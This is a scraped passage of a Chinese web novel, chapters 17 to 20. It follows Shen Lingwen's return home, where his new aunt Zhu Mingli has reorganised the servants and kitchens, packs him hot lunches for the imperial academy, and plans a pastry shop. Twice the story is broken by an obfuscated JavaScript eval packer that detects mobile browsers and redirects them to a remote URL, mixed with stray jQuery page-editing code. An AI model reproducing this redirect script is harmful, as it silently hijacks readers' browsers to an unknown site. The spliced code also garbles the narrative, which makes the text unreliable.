祖孙许久未见，自然有许多话想说，但沈母看他乏得眼睛都快睁不开了，哭笑不得道：“你何必来我这一趟？先去洗漱整歇，睡好了再来。” 沈令文完全是沈令衡的反面，极其乖巧懂事，摇头道：“久未回府，岂能因为疲乏而失了规矩，再说，我甚是想念祖母，不先来看看祖母身子如何，回院哪能睡得下？” 沈母被他逗笑了，戳戳他的额头：“我身子好多了。你三叔新娶的娘子把沈府打理得很好，我一点儿都不需要操心，这些时日心头宽和了不少。” 说到这儿，沈令文很想打听一下这位未曾谋面的三叔母性情如何，又不好直白地问，只能道：“既然如此，那我必然是要前去谢过三叔母的。” 沈母也想到了这点，她不介意沈令文回府不拜见是一回事，但尊重长辈本身又是一回事儿。祝明璃成亲那日沈令文正逢旬试，没能参与就已经很失礼了。 “那你就快去，别在我这儿耽搁了。”沈母明白自己走后，小辈们都要依仗祝明璃照看，能交好的自然要交好。 沈令文确实是乏了，不再客气，向祖母告辞。出了堂屋，唤了个丫鬟道：“你去三房通传一声，看三叔母是否有空得见。” 丫鬟连忙答应，还未走开，沈令文就被站在院门的丫鬟堵住了。 府里来人，还是久久未归的小郎君，从沈令文踏入门槛的那一刻起，门房就向内院通传了。 等到沈令文进了堂屋，祝明璃派来的丫鬟已经站到了沈母院前。 “夫人说，小郎君舟车劳顿，先回房修整，明日得空再叙话。” 沈令文惊讶到失态：“嗯？”他不是还没派人去通传吗？ 他愣了一会儿，才陡然明悟：这位叔母竟然在我进府后就得到了消息，并料到我会去拜见，所以提前派人来拦我。 真是又聪慧又细心。 再一想，祖母果然没有夸张，这是将整个沈府都握在掌心，才能做到如此迅速。 既然都递了信儿，他再非要去拜见，那就不识趣儿了。 沈令文一边往院里赶，一边心下惊叹：三叔母实乃大家风范。 还未见面就生出了期待。 等回到院里，他才发现自己惊叹得太早了。 17.第 17 章 他临时出行，久久未归，一开始仆役们肯定会像往常那般，日日洒扫。但时间久了，定会松懈，更别提一走就是月余。 所以沈令文已做好了规划，回院先让人烧水以备沐浴，再吩咐丫鬟细细除尘，熏被。等他沐浴时，遣人去大厨房让厨娘热点煎饼垫肚子…… 又累又饿的沈令文拖着身子朝院子里走，迈入院门后，就等着仆役们开口行礼，他就可以开始一连串的吩咐了。 同他预判的一样，仆役们停下脚步，纷纷朝他看来，此起彼伏的行礼声响起： “二郎！” “二郎回来了。” 沈令文点头回应，终于走到院中了，有气无力开口：“烧水，我要——” 刚说了两个字，就见到两个丫鬟从屋里出来：“二郎可要先沐浴？浴汤已备好。” 沈令文的后半截话卡在喉咙里。 咦？ 难道门房给三房传话的时候，也顺便给他的院儿里传话了？ 但这些丫鬟们何时办事如此妥帖？他人还未至，热水已备好。 难道是换了主母，府里人手变动，她们担心自个儿处境，于是格外手脚利落？ 抱着这种怀疑，他迈入屋内，朝沐浴间走去。 干净的衣裳早已备好，整齐地挂在一旁；浴桶旁备着的烫水冒着白汽，以便主子随时添水；澡豆、巾子等摆放在不知从哪寻来的置物几上…… 沈令文回忆了一下，确认自己院里的仆役没换人，还是以前那群啊。 见他站定，大家便往外走准备回避。沈令文连忙嘱咐道：“遣人去大厨房叫人给我热点饼子垫垫肚子。”现在时辰不早不晚的，不是用膳的点，想吃顿丰盛的饱腹餐是不可能的。 丫鬟们非常顺畅地答道：“二郎，大厨房那边已经得信儿了，估摸着一炷香就送到。”等他洗完，正好能吃上热乎的。 沈令文：“……” 他都要怀疑自己已经睡着了，正在做怪梦。 见他盯着大伙儿不说话，小丫鬟们有点害怕，小郎君没有让人服侍沐浴的习惯呀。主母可说过，在她的眼皮子下，男主人绝不可以轻薄丫鬟。 见状不妙，先撤为敬。 留下沈令文在震惊中除衣解发，迈入浴桶——怎么连水温都如此合适？！ 他不知，祝明璃为了保证以后自己回府的第一时间就能舒坦，所以制定了规矩，洗漱、吃饭都是有严格流程的。 以往主子回府，想吃点热乎的垫肚子，总是要让人去讨要。因为万一主子不饿，自个儿跑去要回来算怎么回事？且谁去也是个问题，毕竟以前这些职责是没有细分的。 祝明璃在自己院子里定了规矩了，绿绮焦尾两个誓要成为“总助”的大丫鬟就把这套规矩传了下去。 沈令文回府，门房传讯，备水、备衣、熏被、去大厨房要吃食……一整套规矩，各司其职，完全不会混乱。 也不用担心多做多错，或与其他人争抢讨好主子的活计而生出矛盾。 沐浴洗漱，一身的疲惫散去一半。沈令文穿戴整齐，推门，丫鬟们立刻过来开窗散气，收拾沐浴间。 吃食已在案几上备好了。 祝明璃是不在大厨房用膳的，但自己这儿都改善了，大厨房也是顺手的事儿。 大厨房备热食，是怕沈令仪和二房双子饿了，能随时吃上热乎的。 才开始是用熄了火的炭热煎饼。煎饼放在鏊子温着，会变得过脆过硬，只能用炊饼笼子蒸，于是带油的煎饼又变得软塌塌的，加上馅儿是羊肉，太腥膻。 第一旬汇报，绿绮向祝明璃反应了这个小问题。 祝明璃立刻给大厨房规划了菜单。 沈令文看着面前的碗碟，饼、羹、汤，竟如此丰富。 煎饼换成了肉夹馍。此时有一种类似肉夹馍的饼，名为“古楼子”，烧饼里夹巨量的羊肉，一般人真吃不下。 祝明璃做了改善，首先，量减少。其次，羊肉用辛香料卤制，这样温在锅里越久越入味。外层的饼舍去油脂换成软嫩的白馍，这样复热也不会油腻。 沈令文洗漱过后饿极了，迫不及待拿起肉夹馍品尝。 白馍绵软，馍心充分吸收卤汁。羊肉嫩滑，丝毫不油腻，肥肉剁碎后晶莹透亮，肉香和卤香融合得恰好，一口下去忍不住直吸溜。 士别三日当刮目相待，大厨房何时手艺这般精进了！ 他却不知道用猪肉做的肉夹馍更加美味，只是沈绩每月俸禄包含七八只羊，祝明璃不好这口，所以全让大厨房处理了。 沈令文咀嚼得十分敷衍，一口气狂塞，三下五除二吃完肉夹馍，差点噎得翻白眼。 可惜只有一个，剩下的被练武完的沈令衡早要走了。 沈令文一边震惊美味，一边端起醋汤。这是早食做的馎饦剩下的面汤，加点醋，撒点葱，简单清淡，酸中带鲜。 很简单的汤，却极其解腻，与肉夹馍搭配起来竟如此合拍。一仰头，全干了，肺腑那叫一个通透。 他忍不住轻叹一声，竟生出一股没由来的感动——还是家里好！ 饼吞了汤干了，面前只剩一碗羹。 羹和以往也有些差别，首先肉很少，只作提鲜，否则总会腥膻。再往里面加各种蔬菜丁，营养均衡的同时增加清新感。 陶釜小火慢熬，米粒爆花，熬成胶状，绵软的口感又能嚼到略脆的菜丁，有清爽的鲜甜感。 沈令文已经惊讶不过来了，唏哩呼噜把羹喝完，放碗、擦嘴、摸肚子，长叹一声——太舒服啦。 吃饱喝足，身子都轻了，他沉溺在美味的幸福中思索：不用怀疑，这一定是那位三叔母的功劳。 丫鬟们见他吃完，手脚利落上来收拾。按理说用完膳，要消食后再睡觉，但神令文累得不行，管不了那么多了。 “把被——”刚说了两个字，想起来了。今时不同往日，有那位三叔母在，还需他多嘴吩咐？ 果然，进了里间，熏香清淡。时令更改，寝被也跟着换成稍厚的，已被熏得松软，一切是如此地井然有序。 沈令文站着发了会儿呆，不知道如何感叹。原来人在太享福的时候是说不出大篇文章的，只剩晕乎。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233811|181285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一觉好梦，醒来已是暮食时分，又感受了一下大厨房的改良菜品，吃得干干净净，唏嘘以前竟不知道用膳可以如此惬心。 * 翌日一早，天还没亮沈令文就翻了起来，早早地赶去沈母院里请安，想着应当能见到三叔母，便能顺势跟着她回院，赠礼赔罪。 结果没见着祝明璃人，一问，哦，人家根本不来请安。 经过昨日那一连串的惊艳，沈令文一点儿也没觉得祝明璃无礼。与祖母商量好了不来打扰，便没做个虚情假意的模样，是个爽利人。 在这倒是见到了阿姐沈令仪，两人一同陪沈母用完早食，告退离开。 姐弟许久不见，有很多话聊，沈令仪问他学业如何，他一一作答，然后将话题扯开：“三叔母其人如何？” 时辰差不多了，想必三叔母已经用完早食发完对牌，他可以前去拜见了。 回答他的却是短暂的沉默。 沈令仪不知道如何回答，从何说起，想了一堆，一开口，眼泪先滚下来。 把沈令文吓一跳：“阿姐，你这是……” 沈令仪摇头，啜泣道：“无事，只是心中酸楚与感念交织，一时难以自持罢了。祖母年高体弱，我唯恐憎徒增其忧劳，故凡事警惕，心中惴惴。如今幸得叔母照看，总算安心，二郎可明白？” 沈令文听她这么说，也鼻子一酸。 他们和二房不同，早早就失去了双亲。童年若无祖母照看，无以至今日，但正因如此，反而格外谨小慎微。 沈令文在国子监算不上顶聪慧的，但确实最踏实肯学的那一个，就是想要争口气，让心里踏实一些。 “阿姐，必定是阿耶阿娘在天之灵庇佑。三叔母待你好，你便成倍孝顺回去。” 有弟弟安慰，沈令仪很快收住。 见她平静下来，沈令文才问：“我想着等会儿去拜见三叔母，阿姐可有嘱咐？” 沈令仪疑惑：“现在吗？三叔母出府了。” 沈令文也很疑惑：“咦？”你怎么知道她出府了？ 却不想由于沈令仪总爱往祝明璃跟前凑，三房仆役也和大房交好了。祝明璃明日有安排，提前一日下人们就会互相知会，免得大娘跑空。 除了疑惑阿姐怎么把三叔母行踪摸得这么清以外，沈令文还疑惑，这一大早的，三叔母出府做什么？ 祝明璃正在进行实地考察。 药铺是必须关门大吉的，但糕肆最终能不能开，必须得亲自跑一趟确认才行。客流量大不大？附近有没有食肆竞争？铺子布局如何，后院能不能修面包窑…… 一开坊，祝明璃就乘着马车，同上朝的、出坊采买的、急着办事的人一同出了坊门。 到长兴坊时，不算太迟，刚开坊的时候人流量最大，现在缓了不少。 祝明璃将车帘撩起一角，仔细观察街坊铺面。长兴坊紧邻朱雀大街，车子穿过南坊门，左转到沿墙街，继续前行一段，快到东西横街时，终于到了目的地。 一下车，淡淡的药香扑面而来，祝明璃饶有兴致地打量着这间属于自己的药铺。 18.第 18 章 这间药铺岁数比祝明璃大太多，是她阿娘当年的嫁妆，而后才成为她的嫁妆。店面修缮过数次，如今木柱瞧着又要朽了。当然，说好听点儿，是颇有“古韵”。 掌柜的昨日便得了信儿，整夜忐忑未眠，一早就在门口候着。见到门前停车，下来一位娘子，立刻就迎了上去。 “娘子。”掌柜是位老翁，气质和铺子很像，有种斯文的古旧感。 祝明璃来之前已将这间铺子了解透彻。数十年，这里一直在做药铺生意，掌柜的也没变。只是随着时间变迁，长安里出现了更多的药铺，或药材好价钱低，或有医人坐馆，或铺面足够大瞧着可靠……总之，这间小铺面撑不下去了。 长安房子不便宜，祝明璃大可将这间铺面赁出去，但听到药铺来自“阿娘”的嫁妆时，她便怎么都要留下，让这里繁华起来。 药铺同大多店铺一样，前店后院。前头的铺面略小，被打扫得一尘不染。药材药瓶归整，不多，毕竟一直在亏损，不敢积货，陈药也不能昧良心卖出去。 走到头，最边上挂着老旧布帘，掀开便通往后院。 掌柜明白这药铺撑不了多久了，但这日真到来时，心里难免哀戚：“长兴坊贵人多，府上不缺名贵药材，不上本店采买。但街里街坊有个头痛脑热，都会来这儿，多年信誉在，保证不以次充好。” 可惜祝明璃不是中医专业，她若是想要把铺子盘活，必定是要换生意的。 “我不会把铺子转手与人，只是来看看能不能换作糕肆，若不合适，我再想法子。” 有了这句话，掌柜明显松了口气。几十年如一日地守着药铺，药铺对他意义深重。先前的祝家娘子是个好人，如今的这位小娘子也是位善人，只要东家不变，药铺便没有消失。 正说着，旧门帘被掀开，一位年轻小娘子钻了出来：“阿翁，药都——” 话说一半，抬起头看到祝明璃，这个时辰出现的贵人娘子只会有一位，连忙抱着药盅行礼：“娘子。” 本来松了口气的掌柜又愁苦起来。 他守了药铺几十年，他的女儿外孙女也跟着他学手艺，选药、净药、炮制……离了药铺，他们又该何去何从？ 祝明璃一时半会儿还真想不出什么好去处。 面前这位小娘子看着整洁伶俐，倒是可以塞进后厨帮忙，可那不就浪费了手艺吗？ 一老一少安静地站在她面前，缩着肩膀，等待自己未知的命运。 祝明璃问：“若是药铺换成糕肆，你们有想过以后做些什么营生吗？” 老翁摇头，外孙女倒是接口道：“求娘子为我们择一去处。” 她早打听过了，长安没有药铺愿意要祖孙俩做工，更何况祝家是极难得的宽和良善人家。长安生活不易，自寻去处全得靠运。 祝明璃一时半会儿给不出答案，干脆掀开帘子往后院去。 后院很大，毕竟晾晒炮制药材都要空间。处理药材难免有碎屑，但院里很干净，连陶炉都被擦得锃亮。旁边三间房隔成了五间，祖孙俩各一间，还有三间之前住着年轻力大的药童，前几日结了月钱，另寻去处了。 小厨娘们肯定是从沈府出。她可不是慈善家，打理沈府总要薅点好处，她们烘焙早已上手，是不二人选。 扫了一圈，祝明璃确定这里的布局很适合开食肆，便回头对他们道：“你们收钱算账是熟手，夜里铺面也要人守着，不如先暂住在这里帮忙？” 老翁想要说什么，小娘子先应下了：“好，都听娘子的。” 祝明璃瞧她年岁不大，和沈令姝差不多，问道：“你叫什么名？” “阿青。” 祝明璃又问：“你不怕我以后让你在糕肆打下手做糕点，浪费制药的手艺？” 阿青道：“手艺可不能当饭吃，树挪死，人挪活，有什么我学什么。” 祝明璃被她逗笑，摇头：“你让我慢慢想想，寻个合适的去处。” 贵人竟如此体恤，阿青也不敢笑了，和阿翁一起连表谢意。 药铺里的器具都是“老员工”，换生意肯定用不着，但祝明璃也不缺这点置换钱，便道：“你们把后院收拾出来，那些制药物什就先收着，可放得下？” 掌柜的本来就舍不得店里的一切，闻言欣喜道：“放得下放得下。”反正他屋子就只有床桌和箱子。 这边看完，后续的改装、切窑、修缮等等都得回府再安排。 祝明璃离开药铺，转而回到车上，让车夫在长兴坊好好绕一圈。 据她观察，此时的食肆和后世区别很大。做早食的食摊食肆很多就专做早食，还未到晌午就收了摊。酒肆、糕肆也只做那一份生意，不互相竞争。虽各坊都有小型商业区，但若是想要吃丰富豪华大餐，坊内的店肆可能还真满足不了。 此时没有影视剧里那样重楼飞阁的繁华酒楼，这种建筑群和经济文化分不开关系，在祝明璃那个世界，得到宋代才开始出现。 祝明璃主意落定，打道回府。 * 沈令文今日好不容易休假，就等着拜见祝明璃，结果到了晌午她才回来。 等沈令文赶到三房时，祝明璃刚刚用完午食。这个时机其实不太好，但沈令文怕现在不来，这位三叔母下午又没了人影儿，他也是没招了。 他和沈令仪性子像，温文内敛，一般都窝在书房，不常在府里走动，三房更是极少来。府里小辈都一样，有些畏惧沈绩。 许久没来，三房和自己记忆里不太一样。房养人，人也养房。居住的主人会带给房宅独有的气韵，三叔在的时候，宅院是冷硬的，三叔母才住进来没多久，宅院便变得柔和温厚。 他心里对这位三叔母充满了期待，收敛神色，缓步走近堂屋。 听到丫鬟来报，祝明璃专门来这儿等他，第一次见面，总得正式点。 屋内光线柔和，沈令文垂头，目光扫到祝明璃的裳角后，站定行礼。 “不必多礼，快坐下。” 沈令文这才抬头看向祝明璃。和自己想象中完全不一样，这位叔母没有老成练达感，就是一位十足年轻娘子的模样。 他很惊讶，祝明 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但转念一想，昨日自己回府的那顿美餐，对比之下那确实：“稍显不足。” 祝明璃又细细问来：“平日都吃些什么？” 问什么答什么，沈令文解释一番，祝明璃就理解了他的处境。别说国子监，就是堪称荣耀之盛的“廊下食”其实也一般，甚至有上朝的官员中途溜号跑出来吃，只不过后来朝廷下诏禁止了这一行为。 只要是非参朝日时，家里有几个闲钱的，都喜欢与同僚出官府饱餐一顿。国子监情况特殊，生徒不是那群官油条子，不能那么松散，管理又严格，午时开饭前还要先训话，别说营养均衡了，能饱腹就不错了。 这可不行，沈令文是大房长子，日后的家主，未来的顶梁柱，祝明璃养老还要靠他，可不能年纪轻轻就倒下。 “平日里用食，米面、果蔬、肉食都要吃。不过你最好多吃些肉补补气血，下学回府后也要散步，活络筋骨。” 沈令文一边仔细听着，一边想：不对呀，我这不是来赔罪赠礼的吗？怎么话头偏到养生上去了。 祝明璃说完后举杯喝茶，沈令文可算找到时机了，连忙把话题拉回正轨：“叔母，您成亲那日儿未能回府恭贺，今日前来一是拜见，二也是为此赔罪。”说完，终于将檀木盒递出。 其实才先准备的礼物并不是这个，但拖得越久，礼物的分量就要越重，所以沈令文也是下了血本，将自己珍藏的书画大家的亲笔送了出去。 叔母出自祝家，这份礼她定会喜欢。 祝明璃接过木盒，拿出卷轴，展开欣赏，道谢。她没有记忆，水平不高，字画到她手上属于糟蹋，真是可惜了小郎君的一番好意。 沈令文见她展开画轴后松了口气，正准备就此大家的书画品鉴畅谈，就听到祝明璃话题又拐了回去：“国子监能自带食盒吗？” 沈令文：“嗯……啊？”平时口能作赋的小郎君今日屡屡傻眼，从未表现得如此呆愣过。 19.第 19 章 沈令文老实回答：“倒是可以……”但从未有人这样做过。 一是他们和官员作息差不多，基本都是坊门一开就往外走。住得远的，平旦时分，也就是早上四点左右就要起床。因为做饭来不及，所以此时早食都很简单，一般就是粥或面片汤，更没有时间准备丰盛的午食外带。 二是皇城不是初高中校门可以在外面送饭，此时外卖文化也不像宋朝般发达，温盘还没出现，双层铜盒保温效果也一般。一大早做出来，提到国子监，待到中午，早冷了。就算还温着，也不如热乎的饭菜，还是在国子监将就吃吧。 三是最重要的一点，家里的午食其实也没那么惊艳，值得摒弃万难非要提着去…… 他不说话还好，一说话微微蹙眉，配上清癯的面容，感觉下一秒就要愁苦到晕过去了。 祝明璃由衷道：“长太高也不好。”若是矮点，还匀称些。 沈令文：？怎么总是跟不上思路。 提出带饭的想法后，祝明璃脑海里就已经把难点考虑了一遍。首先保温是个问题，其次有的菜不适合带饭，加热后会有剩菜味，所以菜式的选择上也要思量。 “等会儿我要写单子让人出府采买，正好顺道把你的提盒也买了。不过时间短，没什么功夫准备，菜色上确实做不到完美。”祝明璃说着就有了主意，站起来，“你放心吧，你的吃食，我会当个事儿办的。” 沈令文现在才回过味儿来，三叔母并非跳脱，而是太利落，风风火火的。 他们的对话直接跳过了关切问候、想法子、推拒、道谢等过程，几句话的功夫，事情就敲定了。 沈令文不是个优柔扭捏的人，好不容易有长辈关切，且祝明璃自己也敲定了，他再有意见算什么事儿。 他跟着站起来，深深行礼：“那就劳烦叔母挂心了。” 祝明璃喜欢有礼貌的小孩：“没事儿，也不麻烦。”这可不是客气，反正都是小厨房一锅出。 她想尽快让食肆开业，没有太多功夫闲聊，该做的人情也做了，可以散了。 “二郎若是还像这般，在衣食住行上有欠缺的，都可来寻我。”祝明璃道，“我手上还有些事儿要忙——” 沈令文闻弦知雅意道：“三叔母您先忙。” 祝明璃微笑点头，转身往外走，食肆的家具厨具要画图纸让匠人打造，岗位也要定下来，菜色菜式也要试过……确实很忙。 沈令文看着她的背影，心想原来一府主母竟如此难做，比家主都忙碌。 * 沈府最不缺的就是仆役，只要分工做好，干什么都很高效。 晌午给的单子，下午暮鼓还没敲，商铺就把货物送到了沈府。秘书绿绮焦尾一一点过，拿不准主意的再来问祝明璃，采购就完成了。 而此时祝明璃已经把新的“绩效方案”写了出来。去食肆做工的厨娘肯定要涨月钱的，做得好，更有奖励。 本来祝明璃说的是卖糕点，但既然铺面都有了，早食生意也可以一起做。无论是烘焙还是做早食，都要早起，祝明璃干脆就给她们排了轮班，免得累着。 人手安排好就开始画图纸，府里匠人做不好的、不擅长的，就去府外寻人。 小厨房的厨娘本是被排挤到三房来的，如今是打了个漂亮的翻身仗，让大厨房的人好生嫉妒。 主母厚道，她也感念其知遇之恩，带了几个小徒弟，不藏私，好好教。而且前些时日主母新定了规矩，“师带徒”，师父做的好也是有奖励的。所以现在开食肆，厨娘是不缺的。 三房高效运转着，祝明璃还专门抽时间给大家来了个“上岗前动员会”，食肆若是利高，她绝不会亏待手下，月钱、赏钱都要加，吃穿上给福利，年节还会发米粮布帛。 最后一条灵感来自于中国自古以来铁饭碗都有的福利，此时的官员们会发粮发肉，后世就是发米面油，大伙儿都喜欢这种稳稳的幸福感。 以至于现在大伙儿比祝明璃还兴奋，成日盼着食肆早日开张。 沈令仪也听了一回动员大会，回院就写信给想再来府上做客的小娘子们，告诉他们以后甜糕会在长兴坊的糕肆卖，想吃多少买多少，别再来埋怨她了。 到时长安定会掀起好一阵热闹。 不过在这之前，国子监先生出了一回热闹。 就在祝明璃决定让沈令文带饭的那日下午，采办仆妇就买来了双层铜制提盒，中空层可以很好地隔热。针线娘子按照其形状缝制了棉套，再塞入纸屑，至此，保温提盒就准备完成。 准备暮食的时候，顺道就给明日“备菜”。肉类腌制好、茄瓜切好，通通吊在水井里冷藏，翌日一早三下五除二做好，装进提盒，沈令文离开时，正好带走。 出京这么久，一回来，沈令文就要立刻恢复以往的作息。 大早上翻起来，犯困着洗漱。 以往起不来的时候，他都出府买早食。在坊门旁等它打开的时候，顺便在路边买点胡饼蒸饼，热乎的，省事省时。 也就是生徒才能这般任性，骑马上朝的官员们可不敢冒险，万一被御史看到啃芝麻胡饼满身掉渣，一个“有辱官缄” 的名头是跑不掉的。 今日他也多睡了会儿，听到婢子说“大厨房端来的早食”，张口就拒绝：“来不及了，坊门要开了，我得赶紧出发，路上对付两口就行。” 却听她回道：“今日大厨房做的是煎饼呢，二郎边走边吃也成。” 咦？大厨房什么时候开始做煎饼了。 困意散去，沈令文才反应过来，如今沈府主母换了，大厨房早已变天了。 他接过丫鬟递过来的煎饼就往外冲，隔着油纸还能感受到饼子的滚烫温度。 热煎饼香气扑鼻，沈令文低头看，却发现这和他认知的“煎饼”不一样。此时的“煎饼”是一种杂菜混面的油炸丸子，凉了也能吃，做早食做夜宵都行，不过太油了一般不做早食。 但他手上拿着的是卷起来的长条面食，里面裹着类似于捻头的油炸物，金黄饱满，配上绿油油的葱花，色调鲜艳。 他连忙咬下，立刻就被这丰富的口感惊艳。饼皮柔韧，油条蓬松柔软，薄脆酥香。酱料稀奇，咸鲜微辣，隐约又透着甜，蛋香葱香激发得恰好，满口留香。 一口就上瘾。 等到了坊门口，煎饼果子吃得只剩下个尾巴。 每日聚集在坊门口的都是熟人，有同学、有官员，属于是最熟悉的陌生人，谁爱吃胡饼，谁爱蒸饼，谁起得早在府里用膳，大伙儿都有数。 许久没见到这个瘦成人干的小郎君了，大家投来眼神：终于回来啦。 再一细看，群众里出现了个叛徒，怎么你手上拿的早食和我们手上拿的早食不一样呢？ 坊里何时开了新的食摊，怎么大伙儿都不知道？晚上回府要让下人去打听一下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248090|181285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 再看沈令文对他们的心理活动一无所知，埋头苦吃，也不知道是多美味，嚼得满嘴留香，脸颊鼓包，衬得其他人手里的早食都没味了。 离得近的，还能听到他嚼薄脆的声音，咔嚓咔嚓，光是想象就能感受到那种酥香。 开坊时间到，大家挤着出去，到了街道上便宽敞了，人流汇聚，共同往朱雀大街去。 路过第二个坊门，遇见了熟人，远远看见沈令文，追过来：“尔止！” 沈令文站住脚步，对方手里也拿着早食：“旅途疲惫，缓了一日也没能恢复。”这是解释为何起晚了。 沈令文表示理解，正想说自己也是，对方就打断了他：“咦？你手上的早食是什么，没见过。” 旁边同行的人都支起了耳朵，他们早就想问了。 “叫什么我不知道。”沈令文回答，“是我府上做的。”说完连啃几口，眨眼就只剩个底儿。 看他吃这么香，饼子本身卖相也好，对方有些酸：“你府上何时在早食上如此费心了，在府外买不省事？”厨娘们肯定早早就起来了，折腾人。 沈令文把最后一口塞完，盯着他的视线瞬间少了一半：“离京前我三叔刚娶亲，如今三叔母接过中馈，把府里好生打理了一番，吃食上十分用心。”对于对方话里的暗示，沈令文不可能听不懂，“厨房也定了新规矩，如今人手足，配合得当，早食反而比以前准备得更快，婢子们也能多休息会儿。” 他昨日吃暮食时问过，这么美味丰盛又新奇的吃食，大厨房可是增添了更多人手，准备甚久？ 丫鬟们消息灵通得很，便把祝明璃如何整治贪腐之人，更换人手，定好职责的事说给他听。厨房那群小丫鬟整日喜笑颜开的，月钱多，干活省事，主母心细，连备菜、用灶、如何各司其职配合都安排了，每日还能多睡会儿呢。 对方听了他的话，只信了一半，余光又瞄到他书童手上的提盒：“这又是什么？” 这下沈令文有点不好意思了，三叔母照顾过于周道，衬得他娇气：“叔母说我体弱，故在吃食上格外关照，今日让我带着午食去，免得不合胃口。” 别说同行的生徒，就是听八卦的路人们也惊讶了。 如此体贴的叔母，倒似阿姐阿娘般，小郎君好福气。 刚才只信一半的生徒现在不信也不行了，见沈令文这个单薄身子，心想他叔母估计是怕他被风吹跑了，才如此用心，哼哼。 再说提着食盒去，到了午食的时候早凉了，能有公厨好吃？倒是白费工夫。 这么想着，心里安慰不少，赶紧把手上的肉馅笼饼（肉馒头）塞完，葱多肉少，难受。 到国子监后，一上午的苦学，头昏脑涨，终于挨到了午食的点儿。 博士先借圣人言训话，生徒们再规矩坐地，等杂役们在食案上摆好午食，终于可以松散些，开饭啦！ 厅堂里渐渐热闹了起来，沈令文见状起身，向杂役要了些滚水，灌进提盒的夹层里。虽说保温措施已做到了极致，但菜怎么也会凉一点，用滚水加热后，便能恢复热度。这是小厨房送提盒时特意交代过的。 早就有人注意到他带的提盒了，如今又要滚水加热，所有人都在偷瞄。 沈令文回座，先看今日公厨的菜色。府里吃的那两顿已经把他养刁了，他皱眉摇头。 再看向提盒，估摸着差不多加热了，他终于打开盖子。 20.第 20 章 带饭是门学问，有些菜热一遍更入味，有些热一遍反而有剩菜怪味。 依祝明璃的经验，浓油赤酱的菜加热后更添香气；而清淡、讲究凸显食材本味的菜，就不适合再热。 最上层的保温效果最差，只放了个浅口小碗，盛着蒜末葱末。这类调味料若过早与菜混合，味道会走样，现代外卖就是分开装的。 大伙看沈令文好一番折腾，就拿个装葱蒜的小碟出来，顿时长松一口气：不过如此嘛。 他们却不知这提盒分三层，最上面一层极浅，与中空层一样，本是隔热用的，所以祝明璃不在其中放菜。 揭走第一层，蒸腾的热气顿时扑出来，沈令文用手碰边缘，烫得一缩，还是取了帕子隔着才拿出来。 那薄瓷碗一搁上桌案，立刻衬得公厨的菜色黯然失色。 好丰富的色彩！ 祝明璃说不费事，就真不费事。昨晚她想吃干拌冒菜，多备些菜，今日沈令文的外带就有了。 时令蔬菜茄瓜，有什么切什么。汤底是慢炖骨汤，加入葱白、桂皮、白芷等入药香料，熬出的味道却是一绝。昨晚的汤，今早再煮开，香料的香气充分释出，再难吃的蔬菜都能被拯救。 蔬菜有了，肉也不能少。鱼丸、脆藕丁炸猪肉丸、新灌的火腿、虾丸……什么肉都来点，保证不吃腻。再用绿豆磨粉做宽粉，铺在最上面，以防被热得过烂，碳水也有了。 过于丰富的菜色，有些人觉得新鲜，有些人觉得牛嚼牡丹一锅乱炖，失了精巧。但对挑食者来说极其友好，喜欢什么吃什么，不怕不合心意。 中医讲，体弱气虚者吃辣可以提气，所以口味是酱香微辣，又特地加入了优质脂肪麻酱，柔和味道，增加醇香味，还能让食材更挂汁。 这么大一碗，就这了吧？ 却见沈令文揭开第二层，用手帕垫着，又端出第三层的瓷碗。 这也是祝明璃今日午食的菜，鱼香肉末茄子，酸甜并重，可以盖过肉类的腥气，开胃下饭。 两个大碗往桌案上一挤，彻底没位置了。 主食就不用带了，反复加热的稻米并没有公厨现蒸的美味。 沈令文拾起筷子，不适地抬头，发现左右前排全在歪脖子看他。见他抬头，大伙儿唰地一下转头回正，假装很忙地挑米粒。 沈令文默默摇头，夹起干拌冒菜上面的脆藕肉丸。表面炸过，微韧，高温锁住了猪肉的汁水，藕丁清爽微甜，解腻去腥，配上麻酱底料，一切都是那么的完美。 他两口咽下，再夹稻米饭入口，好配。 可惜公厨的稻米饭也没家里的好吃。最近府里的米饭都是颗颗分明却不干硬，松散香软，不知加了何种工序。 再把筷子递向左边的大碗。茄子一挑就烂，忙不迭用稻米接住，酱汁就这么浸润了进去。混合入口，只有酸甜可口，油润鲜香，哪还会在乎稻米饭不够好吃？ 平日里此人吃饭跟个猫儿似的，这舔一口，那抿一下，就搁筷子了，何曾如此狼吞虎咽过。 演的吧，有那么好吃吗？ 大伙看着他吃，自己面前的蒸菜都香了点，鼻翼耸动，心里断定那碗鲜亮橙红的菜是酸甜口的。 平日也没觉得茄子这么下饭，回府得让厨娘试着加糖醋看看。 他们瞧热闹的功夫，沈令文用鱼香茄子拌饭，一小碗稻米就这么见了底。 他起身去添，左右两侧的人立刻抻长脖子看他的碗：“这道是酸甜口的，那道呢，这料汁颜色也奇怪。” “这么大两碗，又吃不完，徒徒浪费。” 沈令文一往回走，两人立刻缩回脖子刨饭，待沈令文第二碗稻米饭吃完，终于坐不住了，开口问：“尔正，你府上为何让你带午食来学堂？菜色倒是稀奇。” 沈令文便又解释了一遍，惹得大伙啧啧称奇。不过他们自己府上的菜不带也罢，倒是平康坊有一家食肆的乳酿鱼不错，若是能带来……不知与眼前这菜孰优孰劣。 沈令文胃口小，再怎么馋，很快也吃不下了。一道菜剩半碗，颇为可惜。 